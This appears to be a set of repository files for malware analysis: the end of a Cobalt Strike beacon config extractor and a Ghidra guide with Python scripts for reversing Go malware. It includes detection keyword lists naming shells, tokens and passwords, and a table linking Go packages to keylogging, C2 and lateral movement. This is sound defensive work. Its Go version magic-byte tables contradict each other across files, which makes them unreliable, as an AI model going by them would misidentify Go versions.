try:
with open(filepath, "rb") as f:
data = f.read()
except Exception as e:
print(f" [!] Read failed: {e}")
return None
for xor_key in [0x2e, 0x69]:
# Search for XOR'd config start marker
magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,
0x00 ^ xor_key, 0x02 ^ xor_key])
offset = data.find(magic)
if offset == -1:
continue
print(f" [+] Config found at 0x{offset:x} (XOR key: 0x{xor_key:02x})")
config_blob = data[offset:offset + 4096]
decrypted = bytes([b ^ xor_key for b in config_blob])
entries = self._parse_tlv(decrypted)
if entries:
return {
"method": "manual_xor",
"xor_key": f"0x{xor_key:02x}",
"config_offset": f"0x{offset:x}",
"config": entries,
"indicators": self._extract_indicators(entries),
}
return None
def _parse_tlv(self, data):
"""Parse TLV configuration entries."""
entries = {}
offset = 0
while offset + 6 <= len(data):
try:
entry_type = struct.unpack(">H", data[offset:offset+2])[0]
data_type = struct.unpack(">H", data[offset+2:offset+4])[0]
entry_len = struct.unpack(">H", data[offset+4:offset+6])[0]
except struct.error:
break
if entry_type == 0 or entry_len > 4096:
break
value_data = data[offset+6:offset+6+entry_len]
field_info = TLV_FIELDS.get(entry_type)
if field_info:
field_name, expected_type = field_info
else:
field_name = f"Unknown_0x{entry_type:04x}"
expected_type = "blob"
if data_type == 1 and len(value_data) >= 2:
value = struct.unpack(">H", value_data[:2])[0]
elif data_type == 2 and len(value_data) >= 4:
value = struct.unpack(">I", value_data[:4])[0]
elif data_type == 3:
value = value_data.rstrip(b'\x00').decode('utf-8', errors='replace')
else:
value = value_data.hex()
# Resolve beacon type names
if field_name == "BeaconType" and isinstance(value, int):
value = BEACON_TYPES.get(value, f"Unknown ({value})")
entries[field_name] = value
offset += 6 + entry_len
return entries
def _extract_indicators(self, config):
"""Extract IOCs from parsed configuration."""
indicators = {
"c2_servers": [],
"user_agent": "",
"named_pipes": [],
"spawn_processes": [],
"watermark": "",
"beacon_type": "",
"sleep_time_ms": 0,
"jitter_pct": 0,
}
# Handle both dissect dict keys and manual parse keys
c2_keys = ["SETTING_DOMAINS", "C2Server"]
for key in c2_keys:
domains = config.get(key, "")
if domains:
for d in str(domains).split(","):
d = d.strip().rstrip("/")
if d:
indicators["c2_servers"].append(d)
ua_keys = ["SETTING_USERAGENT", "UserAgent"]
for key in ua_keys:
ua = config.get(key, "")
if ua:
indicators["user_agent"] = str(ua)
pipe_keys = ["SETTING_PIPENAME", "PipeName"]
for key in pipe_keys:
pipe = config.get(key, "")
if pipe:
indicators["named_pipes"].append(str(pipe))
spawn_keys = [
("SETTING_SPAWNTO_X86", "SpawnTo_x86"),
("SETTING_SPAWNTO_X64", "SpawnTo_x64"),
]
for dissect_key, manual_key in spawn_keys:
for key in [dissect_key, manual_key]:
proc = config.get(key, "")
if proc:
indicators["spawn_processes"].append(str(proc))
wm_keys = ["SETTING_WATERMARK", "Watermark"]
for key in wm_keys:
wm = config.get(key, "")
if wm:
indicators["watermark"] = str(wm)
return indicators
def batch_analyze(self, directory):
"""Analyze all files in a directory."""
directory = Path(directory)
extensions = {".exe", ".dll", ".bin", ".dmp", ".raw"}
for filepath in directory.rglob("*"):
if filepath.suffix.lower() in extensions:
self.analyze_file(filepath)
return self.results
def cluster_by_watermark(self):
"""Cluster analyzed beacons by watermark."""
clusters = defaultdict(list)
for result in self.results:
wm = result.get("indicators", {}).get("watermark", "unknown")
clusters[wm].append(result.get("source_file", "unknown"))
return dict(clusters)
def generate_report(self, output_path=None):
"""Generate JSON analysis report."""
report = {
"analysis_date": datetime.now().isoformat(),
"total_beacons": len(self.results),
"watermark_clusters": self.cluster_by_watermark(),
"all_c2_servers": list(set(
server
for r in self.results
for server in r.get("indicators", {}).get("c2_servers", [])
)),
"results": self.results,
}
if output_path:
with open(output_path, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"[+] Report saved to {output_path}")
return report
def main():
parser = argparse.ArgumentParser(
description="Cobalt Strike Beacon Configuration Analyzer"
)
parser.add_argument("--file", help="Single file to analyze")
parser.add_argument("--directory", help="Directory for batch analysis")
parser.add_argument("--output", default="beacon_report.json",
help="Output report path")
parser.add_argument("--scan-memory", action="store_true",
help="Treat input as raw memory dump")
parser.add_argument("--batch", action="store_true",
help="Batch analyze directory")
args = parser.parse_args()
analyzer = BeaconAnalyzer()
if args.file:
result = analyzer.analyze_file(args.file)
if result:
print(json.dumps(result, indent=2, default=str))
elif args.directory and args.batch:
results = analyzer.batch_analyze(args.directory)
print(f"\n[+] Analyzed {len(results)} beacons")
else:
parser.print_help()
sys.exit(1)
report = analyzer.generate_report(args.output)
print(f"\n[+] Total C2 servers found: {len(report['all_c2_servers'])}")
for server in report["all_c2_servers"]:
print(f" {server}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,320 @@
---
name: analyzing-golang-malware-with-ghidra
description: Reverse engineer Go-compiled malware in Ghidra by parsing Go buildinfo
and pclntab structures, recovering stripped/obfuscated function names (e.g. via
GoResolver), and extracting embedded module/dependency strings and types from Go
binaries. Use when analyzing a Go-language malware sample, deobfuscating a garble-packed
Go binary, or recovering function names and third-party dependencies from a stripped
Go executable.
domain: cybersecurity
subdomain: malware-analysis
tags:
- golang
- ghidra
- reverse-engineering
- malware-analysis
- binary-analysis
- go-malware
- disassembly
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1027
- T1620
- T1140
- T1059
---
# Analyzing Golang Malware with Ghidra
## Overview
Go (Golang) has become a popular language for malware authors due to its cross-compilation capabilities, static linking that produces self-contained binaries, and the complexity it introduces for reverse engineering. Go binaries contain the entire runtime, standard library, and all dependencies statically linked, resulting in large binaries (often 5-15MB) with thousands of functions. Ghidra struggles with Go-specific string formats (non-null-terminated), stripped function names, and goroutine concurrency patterns. Specialized tools like GoResolver (Volexity, 2025) use control-flow graph similarity to automatically deobfuscate and recover function names in stripped or obfuscated Go binaries.
## When to Use
- When investigating security incidents that require analyzing golang malware with ghidra
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Ghidra 11.0+ with JDK 17+
- GoResolver plugin (for function name recovery)
- Go Reverse Engineering Tool Kit (go-re.tk)
- Python 3.9+ for helper scripts
- Understanding of Go runtime internals (goroutines, channels, interfaces)
- Familiarity with Go binary structure (pclntab, moduledata, itab)
## Key Concepts
### Go Binary Structure
Go binaries embed rich metadata in the `pclntab` (PC Line Table) structure, which maps program counters to function names, source files, and line numbers. Even stripped binaries retain this metadata. The `moduledata` structure contains pointers to type information, itabs (interface tables), and the pclntab itself. Go strings are stored as a pointer-length pair rather than null-terminated C strings.
### Function Recovery in Stripped Binaries
Despite stripping symbol tables, Go binaries retain function names within the pclntab. However, obfuscation tools like garble rename functions to random strings. GoResolver addresses this by computing control-flow graph signatures of obfuscated functions and matching them against a database of known Go standard library and third-party package functions.
### Crate/Dependency Extraction
Go's dependency management embeds module paths and version strings in the binary. Extracting these reveals the malware's third-party dependencies (HTTP libraries, encryption packages, C2 frameworks), which provides insight into capabilities without full reverse engineering.
## Workflow
### Step 1: Initial Binary Analysis
```python
#!/usr/bin/env python3
"""Analyze Go binary metadata for malware analysis."""
import struct
import sys
import re
def find_go_build_info(data):
"""Extract Go build information from binary."""
# Go buildinfo magic: \xff Go buildinf:
magic = b'\xff Go buildinf:'
offset = data.find(magic)
if offset == -1:
return None
print(f"[+] Go build info at offset 0x{offset:x}")
# Extract Go version string nearby
go_version = re.search(rb'go\d+\.\d+(?:\.\d+)?', data[offset:offset+256])
if go_version:
print(f" Go Version: {go_version.group().decode()}")
return offset
def find_pclntab(data):
"""Locate the pclntab (PC Line Table) structure."""
# pclntab magic bytes vary by Go version
magics = {
b'\xfb\xff\xff\xff\x00\x00': "Go 1.2-1.15",
b'\xfa\xff\xff\xff\x00\x00': "Go 1.16-1.17",
b'\xf1\xff\xff\xff\x00\x00': "Go 1.18-1.19",
b'\xf0\xff\xff\xff\x00\x00': "Go 1.20+",
}
for magic, version in magics.items():
offset = data.find(magic)
if offset != -1:
print(f"[+] pclntab found at 0x{offset:x} ({version})")
return offset, version
return None, None
def extract_function_names(data, pclntab_offset):
"""Extract function names from pclntab."""
if pclntab_offset is None:
return []
functions = []
# Function name strings follow specific patterns
func_pattern = re.compile(
rb'(?:main|runtime|fmt|net|os|crypto|encoding|io|sync|'
rb'syscall|reflect|strings|bytes|path|time|math|sort|'
rb'github\.com|golang\.org)[/\.][\w/.]+',
)
for match in func_pattern.finditer(data):
name = match.group().decode('utf-8', errors='replace')
if len(name) > 4 and len(name) < 200:
functions.append(name)
return sorted(set(functions))
def extract_go_strings(data):
"""Extract Go-style strings (pointer+length pairs)."""
# Go strings are not null-terminated; extract readable sequences
strings = []
ascii_pattern = re.compile(rb'[\x20-\x7e]{10,}')
for match in ascii_pattern.finditer(data):
s = match.group().decode('ascii')
# Filter for interesting malware strings
interesting = [
'http', 'https', 'tcp', 'udp', 'dns',
'cmd', 'shell', 'exec', 'upload', 'download',
'encrypt', 'decrypt', 'key', 'token', 'password',
'c2', 'beacon', 'agent', 'implant', 'bot',
'mutex', 'persist', 'registry', 'scheduled',
]
if any(kw in s.lower() for kw in interesting):
strings.append(s)
return strings
def extract_dependencies(data):
"""Extract Go module dependencies from binary."""
deps = []
# Module paths follow pattern: github.com/user/repo
dep_pattern = re.compile(
rb'((?:github\.com|gitlab\.com|golang\.org|gopkg\.in|'
rb'go\.etcd\.io|google\.golang\.org)/[^\x00\s]{5,80})'
)
for match in dep_pattern.finditer(data):
dep = match.group().decode('utf-8', errors='replace')
deps.append(dep)
unique_deps = sorted(set(deps))
return unique_deps
def analyze_go_binary(filepath):
"""Full analysis of Go malware binary."""
with open(filepath, 'rb') as f:
data = f.read()
print(f"[+] Analyzing Go binary: {filepath}")
print(f" File size: {len(data):,} bytes")
print("=" * 60)
# Build info
find_go_build_info(data)
# pclntab
pclntab_offset, go_version = find_pclntab(data)
# Functions
functions = extract_function_names(data, pclntab_offset)
print(f"\n[+] Recovered {len(functions)} function names")
# Categorize functions
categories = {
"network": [], "crypto": [], "os_exec": [],
"file_io": [], "main": [], "third_party": [],
}
for f in functions:
if 'net/' in f or 'http' in f.lower():
categories["network"].append(f)
elif 'crypto' in f:
categories["crypto"].append(f)
elif 'os/exec' in f or 'syscall' in f:
categories["os_exec"].append(f)
elif 'os.' in f or 'io/' in f:
categories["file_io"].append(f)
elif f.startswith('main.'):
categories["main"].append(f)
elif 'github.com' in f or 'golang.org' in f:
categories["third_party"].append(f)
for cat, funcs in categories.items():
if funcs:
print(f"\n [{cat}] ({len(funcs)} functions):")
for fn in funcs[:10]:
print(f" {fn}")
# Dependencies
deps = extract_dependencies(data)
print(f"\n[+] Dependencies ({len(deps)}):")
for dep in deps[:20]:
print(f" {dep}")
# Suspicious strings
sus_strings = extract_go_strings(data)
print(f"\n[+] Suspicious strings ({len(sus_strings)}):")
for s in sus_strings[:20]:
print(f" {s}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <go_binary>")
sys.exit(1)
analyze_go_binary(sys.argv[1])
```
### Step 2: Ghidra Analysis Script
```python
# Ghidra script (run within Ghidra's script manager)
# Save as AnalyzeGoBinary.py in Ghidra scripts directory
# @category MalwareAnalysis
# @description Analyze Go binary structure and recover metadata
def analyze_go_binary_ghidra():
"""Ghidra script for Go binary analysis."""
from ghidra.program.model.mem import MemoryAccessException
program = getCurrentProgram()
memory = program.getMemory()
listing = program.getListing()
print("[+] Go Binary Analysis Script")
print(f" Program: {program.getName()}")
# Find pclntab
pclntab_magics = [
bytes([0xf0, 0xff, 0xff, 0xff]), # Go 1.20+
bytes([0xf1, 0xff, 0xff, 0xff]), # Go 1.18-1.19
bytes([0xfa, 0xff, 0xff, 0xff]), # Go 1.16-1.17
bytes([0xfb, 0xff, 0xff, 0xff]), # Go 1.2-1.15
]
for magic in pclntab_magics:
addr = memory.findBytes(
program.getMinAddress(), magic, None, True, None
)
if addr:
print(f"[+] pclntab found at {addr}")
# Create label
program.getSymbolTable().createLabel(
addr, "go_pclntab", None,
ghidra.program.model.symbol.SourceType.ANALYSIS
)
break
# Fix Go string definitions
# Go strings are ptr+len, not null terminated
print("[+] Fixing Go string references...")
# Search for function names containing package paths
symbol_table = program.getSymbolTable()
func_count = 0
for symbol in symbol_table.getAllSymbols(True):
name = symbol.getName()
if ('.' in name and
any(pkg in name for pkg in
['main.', 'runtime.', 'net.', 'crypto.', 'os.'])):
func_count += 1
print(f"[+] Found {func_count} Go function symbols")
# Execute
analyze_go_binary_ghidra()
```
## Validation Criteria
- Go version and build information extracted from binary
- pclntab located and parsed for function name recovery
- Third-party dependencies identified revealing malware capabilities
- Main package functions enumerated for targeted analysis
- Network, crypto, and OS exec functions categorized
- Ghidra analysis correctly labels Go runtime structures
## References
- [CUJO AI - Reverse Engineering Go Binaries with Ghidra](https://cujo.com/blog/reverse-engineering-go-binaries-with-ghidra/)
- [Volexity GoResolver](https://www.volexity.com/blog/2025/04/01/goresolver-using-control-flow-graph-similarity-to-deobfuscate-golang-binaries-automatically/)
- [Go Reverse Engineering Tool Kit](https://go-re.tk/about/)
- [SentinelOne AlphaGolang](https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/)
- [Go Binary Reversing Notes](https://gist.github.com/0xdevalias/4e430914124c3fd2c51cb7ac2801acba)

View File

@@ -0,0 +1,35 @@
# Go Malware Analysis Report
## Sample Information
| Field | Value |
|-------|-------|
| SHA-256 | |
| File Size | |
| Go Version | |
| Architecture | amd64 / arm64 / 386 |
| Stripped | Yes / No |
| Obfuscated | Yes (garble) / No |
## Recovered Functions
| Category | Count | Key Functions |
|----------|-------|---------------|
| main | | |
| networking | | |
| crypto | | |
| os/exec | | |
| third-party | | |
## Dependencies
| Module | Purpose |
|--------|---------|
| | |
## C2 Infrastructure
| Indicator | Type | Value |
|-----------|------|-------|
| | URL / IP / Domain | |
## Recommendations
1. Block identified C2 infrastructure
2. Create YARA rule for unique Go function signatures
3. Monitor for similar Go binary compilation artifacts

View File

@@ -0,0 +1,90 @@
# API Reference: Go Malware Analysis with Ghidra
## Ghidra Go Analysis Setup
### GoResolver Script (Volexity)
```bash
# Install GoResolver for stripped Go binary function recovery
git clone https://github.com/volexity/GoResolver
# Run against Ghidra project
analyzeHeadless /ghidra_projects MyProject -process go_malware.exe \
-postScript GoResolver.java
```
### Ghidra Built-in Go Support (10.3+)
```
File > Import > Select Go binary
Analysis > Auto Analyze (includes GolangAnalyzer)
Window > Function Tags > Filter "go."
```
## Go Binary Characteristics
### Build Info Magic
```
Offset in .go.buildinfo section: "\xff Go buildinf:"
```
### gopclntab Magic Bytes
| Go Version | Magic |
|------------|-------|
| 1.2-1.15 | `FB FF FF FF 00 00` |
| 1.16-1.17 | `FA FF FF FF 00 00` |
| 1.18-1.19 | `F0 FF FF FF 00 00` |
| 1.20+ | `F1 FF FF FF 00 00` |
### String Format
Go strings are length-prefixed (not null-terminated):
```
struct GoString {
char *ptr; // pointer to string data
int64 length; // string length
};
```
## Go-Specific Ghidra Scripts
### GoReSym (Mandiant)
```bash
GoReSym -t -d -p /path/to/binary
# -t: Recover type information
# -d: Dump function metadata
# -p: Print package listing
```
### redress (Go Reverse Engineering)
```bash
redress -src binary.exe # Reconstruct source tree
redress -pkg binary.exe # List packages
redress -type binary.exe # Type information
redress -string binary.exe # Go string extraction
redress -interface binary.exe # Interface types
```
## Go Obfuscation Tools
| Tool | Technique | Detection |
|------|-----------|-----------|
| garble | Function name hashing, literal obfuscation | Hash-like symbols, missing debug info |
| gobfuscate | Package/function renaming | Random 8-char names |
| go-strip | Symbol table removal | Missing gopclntab entries |
## Common Go Malware Families
| Family | Type | Notable Packages |
|--------|------|-----------------|
| Sliver | C2 implant | protobuf, grpc, mtls |
| Merlin | C2 agent | http2, jose, websocket |
| Sunlogin/Cobalt | RAT | screenshot, clipboard, keylog |
| BianLian | Ransomware | crypto/aes, filepath.Walk |
| Royal | Ransomware | goroutine-based parallel encryption |
## Key Ghidra Analysis Steps
```
1. Search > For Strings > "go1." (version identification)
2. Search > For Bytes > FB FF FF FF (gopclntab)
3. Symbol Table > Filter "main." (entry points)
4. Navigation > Go To "runtime.main" (program start)
5. Decompiler > Check goroutine spawns (runtime.newproc)
6. Data Types > Apply GoString struct to string references
```

View File

@@ -0,0 +1,29 @@
# Go Binary Analysis Standards
## Go Binary Structure
| Component | Description | Location |
|-----------|-------------|----------|
| pclntab | PC-to-function mapping table | .gopclntab or .text |
| moduledata | Runtime metadata structure | .noptrdata |
| itab | Interface method tables | .rodata |
| buildinfo | Go version and module info | .go.buildinfo |
| typelinks | Type descriptor table | .rodata |
## pclntab Magic Bytes by Go Version
| Magic | Go Version |
|-------|-----------|
| 0xFBFFFFFF | 1.2 - 1.15 |
| 0xFAFFFFFF | 1.16 - 1.17 |
| 0xF1FFFFFF | 1.18 - 1.19 |
| 0xF0FFFFFF | 1.20+ |
## Common Go Malware Families
- Sliver C2 implant
- Geacon (Go Cobalt Strike beacon)
- GoBruteforcer
- Kaiji botnet
- Chaos botnet (Go-based)
## References
- [Go Runtime Source](https://github.com/golang/go/tree/master/src/runtime)
- [Go Internal ABI](https://go.dev/s/regcallabi)

View File

@@ -0,0 +1,37 @@
# Go Malware Analysis Workflows
## Workflow 1: Stripped Binary Recovery
```
[Stripped Go Binary] --> [Find pclntab] --> [Recover Function Names]
|
v
[Apply GoResolver] --> [Deobfuscate Names]
|
v
[Categorize Functions]
```
## Workflow 2: Full Ghidra Analysis
```
[Go Binary] --> [Import to Ghidra] --> [Run Go Analysis Scripts]
|
v
[Fix String References]
|
v
[Identify main Package]
|
v
[Analyze C2/Network Logic]
```
## Workflow 3: Dependency-Based Capability Assessment
```
[Go Binary] --> [Extract Module Info] --> [List Dependencies]
|
v
[Map to Capabilities]
|
v
[Prioritize Analysis]
```

View File

@@ -0,0 +1,267 @@
#!/usr/bin/env python3
"""Go malware analysis agent for Ghidra-assisted reverse engineering.
Analyzes Go binaries to extract function names, strings, build metadata,
package information, and detects common Go malware characteristics.
"""
import os
import sys
import json
import hashlib
import re
import math
from collections import Counter
def compute_hash(filepath):
"""Compute SHA-256 hash of file."""
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
def shannon_entropy(data):
"""Calculate Shannon entropy."""
if not data:
return 0.0
freq = Counter(data)
length = len(data)
return -sum((c / length) * math.log2(c / length) for c in freq.values())
def detect_go_binary(filepath):
"""Detect if a binary is compiled with Go and extract version info."""
with open(filepath, "rb") as f:
data = f.read()
indicators = {
"is_go_binary": False,
"go_version": None,
"go_buildinfo": False,
"gopclntab_found": False,
}
# Go build info magic
buildinfo_magic = b"\xff Go buildinf:"
offset = data.find(buildinfo_magic)
if offset != -1:
indicators["is_go_binary"] = True
indicators["go_buildinfo"] = True
# Go version string
version_pattern = rb"go(\d+\.\d+(?:\.\d+)?)"
matches = re.findall(version_pattern, data)
if matches:
indicators["is_go_binary"] = True
versions = sorted(set(m.decode() for m in matches))
indicators["go_version"] = versions[-1] if versions else None
# gopclntab (Go PC line table) magic bytes
gopclntab_magics = [
b"\xfb\xff\xff\xff\x00\x00", # Go 1.2-1.15
b"\xfa\xff\xff\xff\x00\x00", # Go 1.16-1.17
b"\xf0\xff\xff\xff\x00\x00", # Go 1.18+
b"\xf1\xff\xff\xff\x00\x00", # Go 1.20+
]
for magic in gopclntab_magics:
if magic in data:
indicators["gopclntab_found"] = True
indicators["is_go_binary"] = True
break
# Runtime strings
go_strings = [b"runtime.main", b"runtime.goexit", b"runtime.gopanic",
b"runtime.newproc", b"GOROOT", b"GOPATH"]
found_runtime = sum(1 for s in go_strings if s in data)
if found_runtime >= 2:
indicators["is_go_binary"] = True
indicators["runtime_strings_found"] = found_runtime
return indicators
def extract_go_strings(filepath, min_length=6):
"""Extract Go-style strings (length-prefixed, not null-terminated)."""
with open(filepath, "rb") as f:
data = f.read()
# Standard ASCII string extraction
ascii_pattern = re.compile(rb"[\x20-\x7e]{%d,}" % min_length)
strings = [m.group().decode("ascii", errors="replace") for m in ascii_pattern.finditer(data)]
return strings
def extract_go_packages(strings_list):
"""Identify Go packages from extracted strings."""
packages = set()
pkg_pattern = re.compile(r"^([a-zA-Z0-9_]+(?:/[a-zA-Z0-9_.-]+)+)\.")
for s in strings_list:
match = pkg_pattern.match(s)
if match:
packages.add(match.group(1))
# Also look for known Go import paths
for s in strings_list:
if s.startswith("github.com/") or s.startswith("golang.org/"):
parts = s.split("/")
if len(parts) >= 3:
packages.add("/".join(parts[:3]))
return sorted(packages)
SUSPICIOUS_GO_PACKAGES = {
"github.com/kbinani/screenshot": "Screen capture capability",
"github.com/atotto/clipboard": "Clipboard access",
"github.com/go-vgo/robotgo": "Desktop automation / keylogging",
"github.com/miekg/dns": "Custom DNS resolution (C2/tunneling)",
"golang.org/x/crypto/ssh": "SSH client (lateral movement)",
"github.com/shirou/gopsutil": "System enumeration",
"github.com/mitchellh/go-ps": "Process listing",
"github.com/gobuffalo/packr": "Binary resource embedding",
"github.com/Ne0nd0g/merlin": "Merlin C2 agent",
"github.com/BishopFox/sliver": "Sliver C2 framework",
"github.com/traefik/yaegi": "Go interpreter (dynamic execution)",
}
def detect_suspicious_packages(packages):
"""Flag suspicious Go packages commonly used in malware."""
findings = []
for pkg in packages:
for sus_pkg, description in SUSPICIOUS_GO_PACKAGES.items():
if sus_pkg in pkg:
findings.append({"package": pkg, "concern": description})
return findings
def analyze_sections(filepath):
"""Analyze PE/ELF sections for Go binary characteristics."""
with open(filepath, "rb") as f:
magic = f.read(4)
f.seek(0)
data = f.read()
sections = []
if magic[:2] == b"MZ": # PE
try:
import pefile
pe = pefile.PE(data=data)
for section in pe.sections:
name = section.Name.rstrip(b"\x00").decode("ascii", errors="replace")
entropy = section.get_entropy()
sections.append({
"name": name, "virtual_size": section.Misc_VirtualSize,
"raw_size": section.SizeOfRawData, "entropy": round(entropy, 3),
})
pe.close()
except ImportError:
sections.append({"note": "pefile not installed"})
elif magic[:4] == b"\x7fELF":
try:
from elftools.elf.elffile import ELFFile
from io import BytesIO
elf = ELFFile(BytesIO(data))
for section in elf.iter_sections():
sec_data = section.data() if section.header.sh_size > 0 else b""
entropy = shannon_entropy(sec_data) if sec_data else 0
sections.append({
"name": section.name, "size": section.header.sh_size,
"entropy": round(entropy, 3), "type": section.header.sh_type,
})
except ImportError:
sections.append({"note": "pyelftools not installed"})
return sections
def detect_obfuscation(go_info, strings_list):
"""Detect Go binary obfuscation (garble, gobfuscate)."""
indicators = {"obfuscated": False, "techniques": []}
# Garble replaces function names with hashes
hash_names = sum(1 for s in strings_list if re.match(r"^[a-f0-9]{16,}$", s))
if hash_names > 20:
indicators["obfuscated"] = True
indicators["techniques"].append("Possible garble obfuscation (hash-like function names)")
# Missing gopclntab suggests stripping
if not go_info.get("gopclntab_found"):
indicators["techniques"].append("gopclntab not found - may be stripped or modified")
